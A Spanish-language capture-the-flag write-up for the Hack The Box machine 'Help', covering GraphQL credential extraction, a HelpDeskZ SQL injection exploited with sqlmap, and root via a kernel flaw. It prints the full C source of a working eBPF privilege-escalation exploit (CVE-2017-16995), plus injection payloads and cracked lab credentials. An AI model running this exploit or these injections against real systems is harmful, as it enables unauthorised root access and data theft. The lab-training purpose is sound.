Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
      • PriveEsc Checklist
      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy Level
          • Busqueda
          • Help
          • Sau
          • Broker
          • Sea
          • Nibbles
          • Codify
          • Cozyhosting
          • Devvortex
          • Irked
          • Keeper
          • Knife
          • Pilgrimage
          • Soccer
          • Sunday
          • Tabby
          • Usage
          • Bashed
          • Analytics
          • Networked
          • Swagshop
          • Pandora
          • OpenAdmin
          • Precious
          • Boardlight
          • Editorial
        • Medium Level
          • Monitored
          • Updown
          • Popcorn
          • Jarvis
          • Mentor
          • Poison
          • Solidstate
          • Tartarsauce
          • Nineveh
          • Magic
          • Builder
        • Hard Level
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
        • 7.SMTP
      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
      • Login-brute-forcing
      • Password-attacks
      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
      • Ligolo-ng
      • Pivoting-tunneling-and-port-forwarding
      • TIPS
      • CheatSheet
    • OSCP
      • Preparation
      • Cheatsheets
      • Machine List
  • 📚Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • Pentestmonkey Revshell
    • OSINT Tools
    • Weakpass
Powered by GitBook
On this page
  • 📝 Descripción
  • 🚀 Metodología
  • 🔭 Reconocimiento
  • 🌐 Enumeración Web
  1. CTFs
  2. Hack The Box
  3. Linux
  4. Easy Level

Help

PreviousBusquedaNextSau

Last updated 11 days ago

Publicado: 06 de Mayo de 2025 Autor: José Miguel Romero aka x3m1Sec Dificultad: ⭐ Easy

📝 Descripción

Help" es una máquina Linux de dificultad fácil en HackTheBox que presenta una aplicación web vulnerable de mesa de ayuda (HelpDeskZ) y una API GraphQL. La explotación implica múltiples vectores: enumeración web, extracción de credenciales a través de GraphQL, explotación de SQLi en la aplicación web para obtener más credenciales, y finalmente una escalada de privilegios aprovechando una vulnerabilidad en el kernel de Linux.

La máquina es particularmente útil para practicar técnicas de reconocimiento web, manipulación de APIs GraphQL, explotación de SQL Injection y escalada de privilegios mediante vulnerabilidades de kernel.

🚀 Metodología

graph TD
    A[Reconocimiento] --> B[Escaneo: Puertos 22, 80, 3000]
    B --> C[Puerto 80: HelpDeskZ v1.0.2]
    B --> D[Puerto 3000: GraphQL API]
    D --> E[Explotación GraphQL]
    E --> F[Obtención credenciales: helpme:Welcome1]
    C --> G[Enumeración HelpDeskZ]
    G --> H[Descubrimiento vulnerabilidad SQLi]
    H --> I[Explotación SQLi]
    I --> J[Obtención credenciales: help:Welcome1]
    J --> K[Acceso SSH como usuario help]
    K --> L[Enumeración sistema]
    L --> M[Kernel vulnerable: 4.4.0-116]
    M --> N[Explotación CVE-2017-16995]
    N --> O[Shell como Root]

🔭 Reconocimiento

Ping para verificación en base a TTL

❯ ping -c2 10.10.10.121 
PING 10.10.10.121 (10.10.10.121) 56(84) bytes of data.
64 bytes from 10.10.10.121: icmp_seq=1 ttl=63 time=48.7 ms
64 bytes from 10.10.10.121: icmp_seq=2 ttl=63 time=46.7 ms

--- 10.10.10.121 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 46.736/47.707/48.679/0.971 ms

💡 Nota: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

Escaneo de puertos


ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.121 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
22,80,3000

Enumeración de servicios

❯ nmap -sC -sV -p$ports 10.10.10.121 -oN services.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 18:59 CEST
Nmap scan report for 10.10.10.121
Host is up (0.046s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://help.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

⚠️ Importante: El servicio HTTP redirige a help.htb. Debemos agregar este dominio a nuestro archivo hosts.

echo "10.10.10.121 help.htb" | sudo tee -a /etc/hosts

🌐 Enumeración Web

Fuzzing de vhosts

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://help.htb -H 'Host:FUZZ.help.htb' -fc 302

No encontramos nada relevante.

Fuzzing de directorios

Realizando fuzzing de directorios descubrimos un directorio llamado /support

feroxbuster -u http://help.htb -r  -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --scan-dir-listings -C 403,404

El sitio web está usando un servicio llamado HelpDeskZ aunque no sabemos a priori la versión.

Haciendo una búsqueda sobre el proyecto en github encontramos que en el directorio raíz hay un fichero llamado UPGRADING.txt

https://github.com/ViktorNova/HelpDeskZ/blob/master/UPGRADING.txt

Este fichero parece indicar entre cosas la versión. Veamos si podemos enumerar la versión en nuestro caso:

http://help.htb/support/UPGRADING.txt

Verificamos que es la versión 1.0.2 y esta versión es vulnerable a Arbitrary File Upload y a authenticated sql injection:

https://www.exploit-db.com/exploits/40300

https://www.exploit-db.com/exploits/41200

Encontramos una sección que permite enviar tickets rellenando una serie de campos del formulario y además hay un módulo de subida de archivos. Creo que puede valer la pena analizar esté módulo para ver qué extensiones permite. Intentamos subir un archivo .php:

Al acceder al puerto 3000 encontramos que el servicio nos devuelve un JSON indicando el siguiente mensaje:

|message|"Hi Shiv, To get access please find the credentials with given query"|

En la pestaña "Headers" vemos que en la respuesta está especificando que se está empleando Express.

Googleando sobre «Express js query language» nos encontramos con resultados relacionados con GraphQL.

Al navegar al recurso /graphql nos indica que falta por especificar un parámetro de tipo GET en la solicitud:

A continuación intentamos consultar información. Un endpoint graphql toma objetos como entrada. Como necesitamos información relacionada con un usuario vamos a probar con un objeto usuario. Usamos jq para formatear la salida a JSON

curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq

La respuesta nos indica que parece que la petición espera que se especifiquen subcampos. Probamos por ejemplo con el campo username o usernames:

curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username} }' | jq

Encontramos un usuario, ahora podemos ir más allá e intentar también obtener el campo contraseña a ver si existe:

 curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username, password} }' |
jq

Parece que el campo contraseña es un hash MD5. Usamos hashcat para intentar crackearlo:

hashcat -m 0 hash_helpme /usr/share/wordlists/rockyou.txt    

Probamos estas credenciales en el panel de login anterior y logramos acceder:

Anteriormente cuando enumeramos la versión de este software vimos que podía ser vulnerable a Arbitrary File Upload y Authenticated SQLi.

searchsploit -m php/webapps/41200.py

El exploit no me funcionó con esta máquina, pero tras revisar el contenido pude entender lo que hacía para intentar realizar la explotación de forma manual.

Lo primero que se requiere es crear un ticket adjuntando un archivo:

A continuación, copiamos la url del adjunto en el navegador e interceptamos la petición con burp:

http://help.htb/support/?v=view_tickets&action=ticket&param[]=5&param[]=attachment&param[]=1&param[]=7

Probamos añadiendo una inyección muy sencilla y confirmamos la vulnerabilidad:

and 1=1-- - 

Enviando esto resulta en una condición verdadera que devuelve la imagen pero cambiándolo a 1=2 no lo hace porque se evalúa a falso. Esto confirma la vulnerabilidad SQLi.

Podemos automatizar la inyección con sqlmap:

sqlmap -r req  -p param[] --level 5 --risk 3 --threads 10 --dump --batch

Hay bastantes tablas por lo que una vez localizamos la que nos interesa lanzamos de nuevo sqlmap indicando la misma para hacer un dump:

sqlmap -r req -D support -T staff --threads 10 --dump --batch

Obtenemos la contraseña de la cuenta Administrator: Welcome1

Estas credenciales no funcionarion en el panel de /support de helpdesz. Tampoco funcionaron de primeras con ssh las combinaciones Administrator, admin, helpme, root, hasta que probé con help como usuario y pude autenticarme vía ssh:

ssh help@10.10.10.121
help@help:/home$ cd help
help@help:~$ ls
help  npm-debug.log  user.txt
help@help:~$ cat user.txt
172100*********53c987d******938
help@help:~$ 

Escalando privilegios

Verificamos que el usuario help no puede ejecutar ningún comando como root:

help@help:~$ sudo -l
[sudo] password for help: 
Sorry, user help may not run sudo on help.

Al enumerar la versión del kernel parece que es una versión vulnerable:

Creamos un fichero en el directorio /tmp de la máquina objetivo con el nombre exploit.c y el contenido del exploit

/*
 * Ubuntu 16.04.4 kernel priv esc
 *
 * all credits to @bleidl
 * - vnik
 */

// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>

#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328

int sockets[2];
int mapfd, progfd;

char *__prog = 	"\xb4\x09\x00\x00\xff\xff\xff\xff"
		"\x55\x09\x02\x00\xff\xff\xff\xff"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x18\x19\x00\x00\x03\x00\x00\x00"
		"\x00\x00\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x00\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x06\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x01\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x07\x00\x00\x00\x00\x00\x00"
		"\xbf\x91\x00\x00\x00\x00\x00\x00"
		"\xbf\xa2\x00\x00\x00\x00\x00\x00"
		"\x07\x02\x00\x00\xfc\xff\xff\xff"
		"\x62\x0a\xfc\xff\x02\x00\x00\x00"
		"\x85\x00\x00\x00\x01\x00\x00\x00"
		"\x55\x00\x01\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x79\x08\x00\x00\x00\x00\x00\x00"
		"\xbf\x02\x00\x00\x00\x00\x00\x00"
		"\xb7\x00\x00\x00\x00\x00\x00\x00"
		"\x55\x06\x03\x00\x00\x00\x00\x00"
		"\x79\x73\x00\x00\x00\x00\x00\x00"
		"\x7b\x32\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x55\x06\x02\x00\x01\x00\x00\x00"
		"\x7b\xa2\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00"
		"\x7b\x87\x00\x00\x00\x00\x00\x00"
		"\x95\x00\x00\x00\x00\x00\x00\x00";

char bpf_log_buf[LOG_BUF_SIZE];

static int bpf_prog_load(enum bpf_prog_type prog_type,
		  const struct bpf_insn *insns, int prog_len,
		  const char *license, int kern_version) {
	union bpf_attr attr = {
		.prog_type = prog_type,
		.insns = (__u64)insns,
		.insn_cnt = prog_len / sizeof(struct bpf_insn),
		.license = (__u64)license,
		.log_buf = (__u64)bpf_log_buf,
		.log_size = LOG_BUF_SIZE,
		.log_level = 1,
	};

	attr.kern_version = kern_version;

	bpf_log_buf[0] = 0;

	return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}

static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
		   int max_entries) {
	union bpf_attr attr = {
		.map_type = map_type,
		.key_size = key_size,
		.value_size = value_size,
		.max_entries = max_entries
	};

	return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}

static int bpf_update_elem(uint64_t key, uint64_t value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)&key,
		.value = (__u64)&value,
		.flags = 0,
	};

	return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}

static int bpf_lookup_elem(void *key, void *value) {
	union bpf_attr attr = {
		.map_fd = mapfd,
		.key = (__u64)key,
		.value = (__u64)value,
	};

	return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}

static void __exit(char *err) {
	fprintf(stderr, "error: %s\n", err);
	exit(-1);
}

static void prep(void) {
	mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
	if (mapfd < 0)
		__exit(strerror(errno));

	progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
			(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

	if (progfd < 0)
		__exit(strerror(errno));

	if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
		__exit(strerror(errno));

	if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
		__exit(strerror(errno));
}

static void writemsg(void) {
	char buffer[64];

	ssize_t n = write(sockets[0], buffer, sizeof(buffer));

	if (n < 0) {
		perror("write");
		return;
	}
	if (n != sizeof(buffer))
		fprintf(stderr, "short write: %lu\n", n);
}

#define __update_elem(a, b, c) \
	bpf_update_elem(0, (a)); \
	bpf_update_elem(1, (b)); \
	bpf_update_elem(2, (c)); \
	writemsg();

static uint64_t get_value(int key) {
	uint64_t value;

	if (bpf_lookup_elem(&key, &value))
		__exit(strerror(errno));

	return value;
}

static uint64_t __get_fp(void) {
	__update_elem(1, 0, 0);

	return get_value(2);
}

static uint64_t __read(uint64_t addr) {
	__update_elem(0, addr, 0);

	return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
	__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
	return addr & ~(0x4000 - 1);
}

static void pwn(void) {
	uint64_t fp, sp, task_struct, credptr, uidptr;

	fp = __get_fp();
	if (fp < PHYS_OFFSET)
		__exit("bogus fp");
	
	sp = get_sp(fp);
	if (sp < PHYS_OFFSET)
		__exit("bogus sp");
	
	task_struct = __read(sp);

	if (task_struct < PHYS_OFFSET)
		__exit("bogus task ptr");

	printf("task_struct = %lx\n", task_struct);

	credptr = __read(task_struct + CRED_OFFSET); // cred

	if (credptr < PHYS_OFFSET)
		__exit("bogus cred ptr");

	uidptr = credptr + UID_OFFSET; // uid
	if (uidptr < PHYS_OFFSET)
		__exit("bogus uid ptr");

	printf("uidptr = %lx\n", uidptr);
	__write(uidptr, 0); // set both uid and gid to 0

	if (getuid() == 0) {
		printf("spawning root shell\n");
		system("/bin/bash");
		exit(0);
	}

	__exit("not vulnerable?");
}

int main(int argc, char **argv) {
	prep();
	pwn();

	return 0;
}

A continuación lo compilamos

gcc exploit.c -o exploit

Le damos permisos de ejecución y lo lanzamos:

chmod +x
help@help:/tmp$ ./exploit
task_struct = ffff88001c944600
uidptr = ffff880019cae6c4
spawning root shell
root@help:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)
root@help:/tmp# 
root@help:/root# ls
root.txt  snap
root@help:/root# cat root.txt
63361f0**************a67b6
root@help:/root# 

El servicio HTTP del puerto 80 muestra un sitio web con apache en construcción sin nada interesante:

https://www.exploit-db.com/exploits/44298

🎮
🟩